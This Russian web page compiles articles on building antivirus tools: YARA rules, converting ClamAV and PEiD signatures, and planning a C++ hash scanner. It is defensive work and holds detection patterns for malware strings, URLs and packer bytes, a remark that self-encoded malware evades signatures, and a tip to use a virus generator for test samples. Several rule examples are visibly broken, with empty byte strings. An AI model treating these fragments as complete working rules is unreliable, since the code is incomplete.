Честно сказать, данный продукт может обнаруживать только известные вредоносные программы. Но если мы напишем нашу собственный вирус или закодируем его с помощью нашего собственного кодировщика, он, вероятно, не будет обнаружен, поскольку в Yara не загружены соответствующие сигнатуры. Этот пункт касается и нашего будущего антивируса.
Тем не менее, использование Yara для обнаружения вредоносной активности в файлах по-прежнему выгодно, поскольку большинство вредоносных программ в Интернете представляют собой стандартные вредоносные файлы и не содержат дополнительной маскировки, поэтому большинство вредоносных файлов можно обнаружить.
Сигнатурные дела: Анализатор файлов и антивирус — своими руками
Начальство поставило мне довольно интересную задачу. В сжатые сроки написать анализатор исполняемых файлов, который по сигнатурам умел бы находить тела вирусов и определять используемый упаковщик/криптор. Готовый прототип появился уже через пару часов.
Слово автора
Сразу хочу сказать, что это статья не про суровый реверсинг. И даже не про анализ малвари. Скорее я хотел бы поделиться опытом, как огромное количество открытых разработок позволяет быстро, буквально на коленке собрать прототипы систем, которые на начальных этапах вполне смогут справляться с поставленной задачей. Такого прототипа вполне может быть достаточно, чтобы оценить состоятельность разработки и понять, нужно ли двигаться в этом направлении вообще. Разработать прототип сигнатурного анализатора, который бы работал онлайн и мог быть дополнен новыми сигнатурами через веб-интерфейс, и стало моей задачей.
Сначала предлагалось найти какие-то открытые базы сигнатур малвари, что оказалось довольно просто. Но обо всем по порядку.
Сигнатурный анализ
Поиск вредоносного объекта по сигнатурам — это то, что умеет любой антивирус. В общем случае сигнатура — это формализованное описание некоторых признаков, по которым можно определить, что сканируемый файл — это вирус и вирус вполне определенный.
Тут есть различные методики. Как вариант — использовать сигнатуру, составленную из N байт вредоносного объекта. При этом можно сделать не тупое сравнение, а сравнение по некоторой маске (типа искать байты EB ?? ?? CD 13). Или задавать дополнительные условия вроде «такие-то байты должны находиться у точки входа в программу» и так далее. Сигнатура именно малвари — это частность.
Точно так же описываются некоторые признаки, по которым можно определить, что исполняемый файл упакован тем или иным криптором или упаковщиком (например, банальным ASPack). Если ты внимательно читаешь наш журнал, то точно слышал о такой тулзе как PEiD, способной определять наиболее часто используемые упаковщики, крипторы и компиляторы (в базе есть большое количество сигнатур) для переданного ей PE-файла. Увы, новые версии программы давно не выходят, а недавно на официальном сайте и вовсе появилось сообщение, что дальнейшего развития у проекта не будет. Жаль, потому что возможности PEiD (особенно учитывая систему плагинов) вполне могли оказаться мне полезными. После недолгого анализа все-таки стало ясно, что это не вариант. Но покопавшись в англоязычных блогах, я быстро нашел то, что мне подошло. Проект YARA (code.google.com/p/yara-project).
Что такое YARA?
Я был с самого начала убежден, что где-то в Сети уже есть открытые разработки, которая бы взяли на себя задачу определения соответствия между некоторой сигнатурой и исследуемым файлом. Если бы я смог найти такой проект, то его легко можно было бы поставить на рельсы веб-приложения, добавить туда разных сигнатур и получить то, что от меня требовалось. План стал казаться еще более реальным, когда я прочитал описание проекта YARA.
Сами разработчики позиционируют его как инструмент для помощи исследователям малвари в идентификации и классификации вредоносных семплов. Исследователь может создать описания для разного типа зловредов, используя текстовые или бинарные паттерны, в которых описываются формализованные признаки малвари. Таким образом получаются сигнатуры. По сути, каждое описание состоит из набора строк и некоторого логического выражения, на основе которого определяется логика срабатывания анализатора.
Если для исследуемого файла выполняются условия одного из правил, он определяется соответствующим образом (к примеру, червь такой-то). Простой пример правила, чтобы понимать, о чем идет речь:
rule silent_banker : banker
meta:
description = «This is just an example»
thread_level = 3
in_the_wild = true
strings:
$a =
$b =
$c = «UVODFRYSIHLNWPEJXQZAKCBGMT»
condition:
$a or $b or $c
>
В этом правиле мы говорим YARA, что любой файл, который содержит хотя бы одну из строк-семплов, описанных в переменных $a, $b, $c, должен классифицироваться как троян silent_banker. И это очень простое правило. На деле рулесы могут быть гораздо сложнее (мы об этом поговорим ниже).
Об авторитете проекта YARA говорит уже даже список проектов, которые его используют, а это:
- VirusTotal Malware Intelligence Services (vt-mis.com);
- jsunpack-n (jsunpack.jeek.org);
- We Watch Your Website (wewatchyourwebsite.com).
Весь код написан на Python, причем пользователю предлагается как сам модуль для использования в своих разработках, так и просто исполняемый файл, чтобы юзать YARA как самостоятельное приложение. В рамках своей работы я выбрал первый вариант, но для простоты в статье мы будем использовать анализатор просто как консольное приложение.
Немного покопавшись, я довольно быстро разобрался, как писать для YARA правила, а также как прикрутить к нему сигнатуры вирусов от бесплатного авера и упаковщиков от PEiD. Но начнем мы с установки.
Установка
Как я уже сказал, проект написан на Python’е, поэтому легко может быть установлен и на Linux, и на Windows, и на Mac. На первых порах можно просто взять бинарник. Если вызвать приложение в консоли, то получим правила для запуска.
$ yara
usage: yara [OPTION]. [RULEFILE]. FILE | PID
То есть формат вызова программы следующий: сначала идет имя программы, затем список опций, после чего указывается файл с правилами, а в самом конце — имя исследуемого файла (или каталога, содержащего файлы), либо идентификатор процесса. Сейчас бы по-хорошему объяснить, как эти самые правила составляются, но не хочу сразу грузить тебя сухой теорией. Поэтому мы поступим по-другому и позаимствуем чужие сигнатуры, чтобы YARA мог выполнять одну из поставленных нами задач — полноценное определение вирусов по сигнатурам.
Свой антивирус
Самый главный вопрос: где взять базу сигнатур известных вирусов? Антивирусные компании активно делятся такими базами между собой (кто-то более щедро, кто-то — менее). Если честно, я поначалу даже сомневался, что где-то в Сети кто-то открыто выкладывает подобные вещи. Но, как оказалось, есть добрые люди. Подходящая база из популярного антивируса ClamAV доступна всем желающим (clamav.net/lang/en). В разделе «Latest Stable Release» можно найти ссылку на последнюю версию антивирусного продукта, а также ссылки для скачивания вирусных баз ClamAV. Нас прежде всего будут интересовать файлы main.cvd (db.local.clamav.net/main.cvd) и daily.cvd (db.local.clamav.net/daily.cvd).
Первый содержит основную базу сигнатур, второй — самую полную на данный момент базу с различными дополнениями. Для поставленной цели вполне хватит daily.cvd, в котором собрано более 100 000 слепков малвари. Однако база ClamAV — это не база YARA, так что нам необходимо преобразовать ее в нужный формат. Но как? Ведь мы пока ничего не знаем ни о формате ClamAV, ни о формате Yara. Об этой проблеме уже позаботились до нас, подготовив небольшой скриптик, конвертирующий базу вирусных сигнатур ClamAV в набор правил YARA. Сценарий называется clamav_to_ yara.py и написан Мэтью Ричардом (bit.ly/ij5HVs). Скачиваем скрипт и конвертируем базы:
$ python clamav_to_yara.py -f daily.cvd -o clamav.yara
В результате в файле clamav.yara мы получим сигнатурную базу, которая сразу будет готова к использованию. Попробуем теперь комбинацию YARA и базы от ClamAV в действии. Сканирование папки с использованием сигнатуры выполняется одной единственной командой:
$ yara -r clamav.yara /pentest/msf3/data
Опция -r указывает, что сканирование необходимо проводить рекурсивно по всем подпапкам текущей папки. Если в папке /pentest/msf3/data были какие-то тела вирусов (по крайней мере тех, что есть в базе ClamAV), то YARA немедленно об этом сообщит. В принципе, это уже готовый сигнатурный сканер. Для большего удобства я написал простой скрипт, который проверял обновления базы у ClamAV, закачивал новые сигнатуры и преобразовывал их в формат YARA. Но это уже детали. Одна часть задачи выполнена, теперь можно приступать к составлению правил для определения упаковщиков/крипторов. Но для этого пришлось немного с ними разобраться.
Игра по правилам
Итак, правило — это основной механизм программы, позволяющий отнести заданный файл к какой-либо категории. Правила описываются в отдельном файле (или файлах) и по своему виду очень напоминают конструкцию struct из языка С/С++.
rule BadBoy
strings:
$a = «win.exe»
$b = «http://foo.com/badfi le1.exe»
$c = «http://bar.com/badfi le2.exe»
condition:
$a and ($b or $c)
>
В принципе, ничего сложного в написании правил нет. В рамках этой статьи я коснулся лишь основных моментов, а детали ты найдешь в мануле. Пока же десять самых важных пунктов:
1. Каждое правило начинается с ключевого слова rule, после которого идет идентификатор правила. Идентификаторы могут иметь такие же имена, как и переменные в C/С++, то есть состоять из букв и цифр, причем первый символ не может быть цифрой. Максимальная длина имени идентификатора — 128 символов.
2. Обычно правила состоят из двух секций: секция определений (strings) и секция условия (condition). В секции strings задаются данные, на основе которых в секции condition будет приниматься решение, удовлетворяет ли заданный файл определенным условиям.
3.Каждая строка в разделе strings имеет свой идентификатор, который начинается со знака $ — в общем, как объявление переменной в php. YARA поддерживает обычные строки, заключенные в двойные кавычки (« ») и шестнадцатеричные строки, заключенные в фигурные скобки (), а также регулярные выражения:
$my_text_string = «text here»
$my_hex_string =
4.В секции condition содержится вся логика правила. Эта секция должна содержать логическое выражение, определяющее, в каком случае файл или процесс удовлетворяет правилу. Обычно в этой секции идет обращение к ранее объявленным строкам. А идентификатор строки рассматривается в качестве логической переменной, которая возвращает true, если строка была найдена в файле или памяти процесса, и false в противном случае. Вышеуказанное правило определяет, что файлы и процессы, содержащие строку win.exe и один из двух URL, должны быть отнесены к категории BadBoy (по имени правила).
5. Шестнадцатеричные строки позволяют использовать три конструкции, которые делают их более гибкими: подстановки (wildcards), диапазоны (jumps) и альтернативный выбор (alternatives). Подстановки — это места в строке, которые неизвестны, и на их месте может быть любое значение. Обозначаются они символом «?»:
Такой подход очень удобен при задании строк, длина которых известна, а содержимое может меняться. Если же часть строки может быть разной длины, удобно использовать диапазоны:
Данная запись означает, что в средине строки может быть от 4 до 6 различных байт. Можно реализовать также и альтернативный выбор:
Это означает, что на месте третьего байта может быть 62 В4 или 56, такой записи соответствуют строки F42362B445 или F4235645.
6. Чтобы проверить, что заданная строка находится по определенному смещению в файле или адресном пространстве процесса, используется оператор at:
$a at 100 and $b at 200
Если строка может находиться внутри определенного диапазона адресов, используется оператор in:
$a in (0..100) and $b in (100..fi lesize)
Иногда возникают ситуации, когда необходимо указать, что файл должен содержать определенное число из заданного набора. Делается это с помощью оператора of:
rule OfExample1
strings:
$foo1 = «dummy1»
$foo2 = «dummy2»
$foo3 = «dummy3»
condition:
2 of ($foo1,$foo2,$foo3)
>
Приведенное правило требует, чтобы файл содержал любые две строки из множества ($foo1,$foo2,$foo3). Вместо указания конкретного числа строк в файле можно использовать переменные any (хотя бы одна строка из заданного множества) и all (все строки из заданного множества).
7. Ну и последняя интересная возможность, которую надо рассмотреть — применение одного условия ко многим строкам. Эта возможность очень похожа на оператор of, только более мощная — это оператор for..of:
for expression of string_set : ( boolean_expression )
Данную запись надо читать так: из строк, заданных в string_ set, по крайней мере expression штук должно удовлетворять условию boolean_expression. Или, другими словами: выражение boolean_expression вычисляется для каждой строки из string_set, и expression из них должны возвратить значение True. Далее мы рассмотрим эту конструкцию на конкретном примере.
Делаем PEiD
Итак, когда с правилами все стало более менее ясно, можно приступать к реализации в нашем проекте детектора упаковщиков и крипторов. В качестве исходного материала на первых порах я позаимствовал сигнатуры известных упаковщиков у все того же PEiD. В папке plugins находится файл userdb.txt, который и содержит то, что нам нужно. В моей базе оказалось 1850 сигнатур.
Немало, так что для того, чтобы полностью импортировать их, советую написать какой-нибудь скриптик. Формат этой базы прост — используется обычный текстовый файл, в котором хранятся записи вида:
[Name of the Packer v1.0]
signature = 50 E8 ?? ?? ?? ?? 58 25 ?? F0 FF FF 8B C8 83 C1 60 51 83 C0 40 83 EA 06 52 FF 20 9D C3
ep_only = true
Первая строка задает имя упаковщика, которое будет отображаться в PEiD, для нас же это будет идентификатор правила. Вторая — непосредственно сама сигнатура. Третья — флаг ep_only, указывающий, искать ли данную строку только по адресу точки входа, или же по всему файлу.
Ну что, попробуем создать правило, скажем, для ASPack? Как оказалось, в этом нет ничего сложного. Сначала создадим файл для хранения правил и назовем его, например, packers.yara. Затем ищем в базе PEiD все сигнатуры, в названии которых фигурирует ASPack, и переносим их в правило:
У всех найденных записей флаг ep_only установлен в true, то есть эти строки должны располагаться по адресу точки входа. Поэтому мы пишем следующее условие: «for any of them : ($ at entrypoint)».
Таким образом, наличие хоть одной из заданных строк по адресу точки входа будет означать, что файл упакован ASPack’ом. Обрати также внимание, что в данном правиле все строки заданы просто с помощью знака $, без идентификатора. Это возможно, так как в condition-секции мы не обращаемся к каким-то конкретным из них, а используем весь набор.
Чтобы проверить работоспособность полученной системы, достаточно выполнить в консоли команду:
$ yara -r packers.yara somefi le.exe
Скормив туда пару приложений, упакованных ASPack’ом, я убедился, что все работает!
Готовый прототип
YARA оказался на редкость понятным и прозрачным инструментом. Мне не составило большого труда написать для него вебадминку и наладить работу в качестве веб-сервиса. Немного креатива, и сухие результаты анализатора уже раскрашиваются разными цветами, обозначая степень опасности найденного зловреда. Небольшое обновление базы, и для многих из крипторов доступно краткое описание, а иногда даже и инструкция по распаковке. Прототип создан и работает отменно, а начальство пляшет от восторга!
Пишем свою антивирусную утилиту. Часть 1 — Подготовка
Скажите, а не хотелось бы вам написать свой собственный антивирус? Если да, то это статья для вас.
Компьютерные вирусы – бич современного айти общества. Еще с далекого 1983 года, когда Оуен продемонстрировал широкой публике вредоносный код, который прозвали вирусом, стало ясно, что компьютерные системы весьма уязвимы. С тех пор прошло почти 30 лет, за которые компьютерные вирусы постоянно эволюционировали. Нет смысла писать о том, сколько вреда нанесли эти вредоносные программы (малварь или зловред на компьютерном лексиконе) экономике. В СМИ то и дело появляется об этом очередная заметка.
Что же такое компьютерный вирус в широком смысле этого термина? Зловредом принят считать код, так или иначе вредящей нормальной работе компьютера. Наверняка вы и сами неоднократно сталкивались с подхваченным вирусом. Нормальный вирус должен уметь заражать обычные файлы, размножаться, иметь полиморфную структуру (чтобы его не детектили антивирусы) и т.д. К компьютерным вирусам также относят троянцев, червей и различные вредоносные скрипты. Также к ним в какой то мере можно отнести и руткиты, но это не совсем верно. Просто сам руткит даже по своему названию подразумевает уже не вирусную природу, хотя они и очень опасны, особенно для систем, пользователи которых пренебрегают обновлением (всегда обновляйте свою систему в целях повышения безопасности!).
Можно написать о структуре PE-файла или ELF, показать, как вирус заражает систему, но в рамках данной статьи это будет лишним. Возможно, что я коснусь более углубленно данной темы в других статьях.
Естественно, что для противоборства вирусам смекалистыми программистами были разработаты антивирусные системы. Например, Евгений Касперский, разработчик знаменитого антивируса Касперского, начинал с безобидного хобби по собиранию этих вирусов и их программной нейтрализации. Как видите, это хобби принесло ему в последствии славу и сотни миллионов долларов состояния. Заманчиво, не так ли?
К сожалению, на рынке антивирусных систем рядовому программисту делать нечего. Конкуренция здесь очень большая. Я даже не сомневаюсь, что в ближайшем будущем многие такие компании просто разорятся в силу падения спроса на свою продукцию. Вспомните пресловутый антивирус AVZ от Олега Зайцева – сейчас Олег работает в структуре лаборатории Касперского, хотя начинал как инди -разработчик. Это пример того, как даже самому распрекрасному антивирусному продукту заказан вход в большую игру под названием бизнес.
Написать отличную антивирусную систему довольно-таки трудно. Такая система должна уметь делать эвристический анализ файла, иметь мощный сканер и работать с базой, в которой она будет хранить сигнатуры вирусов, также нужен будет собственный драйвер для слежения за состоянием системы. Это только минимум. Но мы будем отталкиваться от этого.
Мы напишем с вами сканер зловредов, которые являются относительно постоянными по своей структуре (не буду загружать вас умными словами, можете почитать о них в моей книге). В качестве языка разработки я буду использовать C++, как наиболее быстрый и умеющий работать на низком уровне. Как вариант, можно использовать Делфи, однако учтите, что программа будет сильно уступать в скорости сишной.
Учите, что я буду использовать также классы из MFC, так что вам понадобиться полноценная Visual Studio, а на VC++ Express.
Наш сканер будет использовать хэш файла для сравнения с базой данных. Так сканер может выявить червей и троянов. Вроде бы негусто, однако этот сканер можно будет наращивать дополнительным функционалом.
Не будем пока заморачиваться окошками и прочей ерундой – нам важна сама программа, поэтому сканер будет иметь консольный вид.
Итак, прежде чем приступить к кодированию, давайте пройдемся по небольшому ТЗ, что должен уметь делать наш сканер. А он должен выполнять:
- хэширование файлов и проверку хэша со списком в базе данных. Чтобы не городить огород, будем использовать MD5.
- Как нормальный антивирус, наш сканер должен просканировать все загруженные процессы в памяти (малварь то сразу же загружается в оперативную память) и при обнаружении зловреда нейтрализовать его.
- Как бы не наивно звучало, но наш сканер должен определять тип операционной системы, на которой запущен. Дело в том, что он должен сканировать еще и системный реестр, а в разных версиях Windows пути будут разными.
- Собственно, сканирование веток реестра Start Menu Programs Startup и HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun. Эти ветки отвечают за автозапуск различных программ, а малварь, это, прежде всего, программа. Не стоит забывать и о сканировании папки автозагрузки.
- Наш сканер будет сканировать относительно небольшие файлы (до 50 МВ), но мы всегда сможем расширить это ограничение. Кроме того, сканер будет пропускать те файлы, которые априори невозможно заразить – это txt, rtf и некоторые им подобные. Тем не менее, не стоит забывать и о том, что вирусы часто внедряются посредством джойнеров, поэтому нужно учесть различные сигнатуры.
- Сканер должен просканировать весь жесткий диск (а в перспективе и все съемные диски) в поисках малвари и удалить ее.
Вот таков наш план. Как видите, наш простой сканер будет выполнять много того, что положено сканеру антивирусника. Тем не менее, не стоит забывать, что сейчас практически все вирусы криптуются и упаковываются различными пакерами или протекторами. Это сделано для того, чтобы антивирусная система не смогла проанализировать сигнатуру Pe файла. Однако наш сканер пока не умеет этого делать. Но ведь мы же будем его улучшать, не так ли?
Думаю, что план работы вам ясен. Пока приготовьте все нужные инструменты для работы – это Visual Studio 2008/2010 или 2012 (у меня просто лицензионная 2008 студия, я буду писать в ней) , установите себе виртуальную машину (Virtual Box, Virtual PC 2007 – бесплатные или VMWare Workstation –платная, но можно вполне легально использовать ее бесплатно), на которую нужно будет установить какую-нибудь тестовую Windows (можно и XP). Кроме того, нам понадобятся вирусы, которые мы будем истреблять. Для этого нужно будет найти какой-нибудь вирген, который нужно будет запускать на виртуальной машине. На этих вирусах мы и будем тестить нашу простую антивирусную систему. Пока на этом все. В следующей части мы приступим к разработке кода.
Как создать антивирус
Антивирусная программа представляет собой специальное приложение, позволяющее обнаружить вредоносные файлы и вирусы, которые наносят вред компьютеру. Если вы владеете навыками программирования, то вы можете самостоятельно написать антивирусное приложение.
Инструкция
Создайте базовые структуры для создания собственного антивируса. Они будут использоваться как программой для создания антивирусной базы, так и сканером. Во-первых, объявите нужные структуры. Первая это структура сигнатуры. Следующая – это структура записи, которая объединяет сигнатуру и имя. Включите в нее функцию выделения памяти для имени вируса. Поместите обе структуры в заголовочный файл.
Напишите класс, предназначенный для работы с файлами антивирусной базы. Вам понадобится сделать несколько классов: базовый класс файла, класс чтения файла и класс добавления записи. Объявите данные классы в файле CAVBFile.h. Поместите реализацию классов в файл AVBFile.cpp. Подключите заголовочный файл. Также необходимо добавить проверку существования файла. Затем реализуйте функции класса, предназначенные для записи в файл.
Реализуйте следующий алгоритм: если файл открывается и он не найден, то будет создан новый файл, в него будет записан заголовок. Если же файл существует, то будет выполнена проверка сигнатуры, а также чтение количества записей. Добавьте сюда функцию addRecord, которая примет ссылку на структуру записи в качестве параметра. Переместите запись в конец файла. После этого необходимо сделать увеличение счетчика записей.
Реализуйте программу для создания базы антивирусной программы. Используйте в качестве ее параметров путь к файлу вируса, базы, а также изменение последовательности в файле вируса и его имя. Используйте передачу аргументов в формате A[Value], где А представляет собой соответствующий ключ, Value – это значение. Пропишите следующий алгоритм действия программы: открыть файл зловреда, выполнить переход по смещению, рассчитать хэш и добавить запись в базу. Поместите код программы в файл avrec.cpp.
Пропишите код сканера, который будет выполнять проверку файла на вредоносность. Поместите файл с базой в одну папку с базой и назовите его avbase.avb. Используйте следующий алгоритм работы для создания антивирусного сканера: загрузить файл базы, получить список файлов, проверка файла.
Войти на сайт
или
Забыли пароль?
Еще не зарегистрированы?
This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.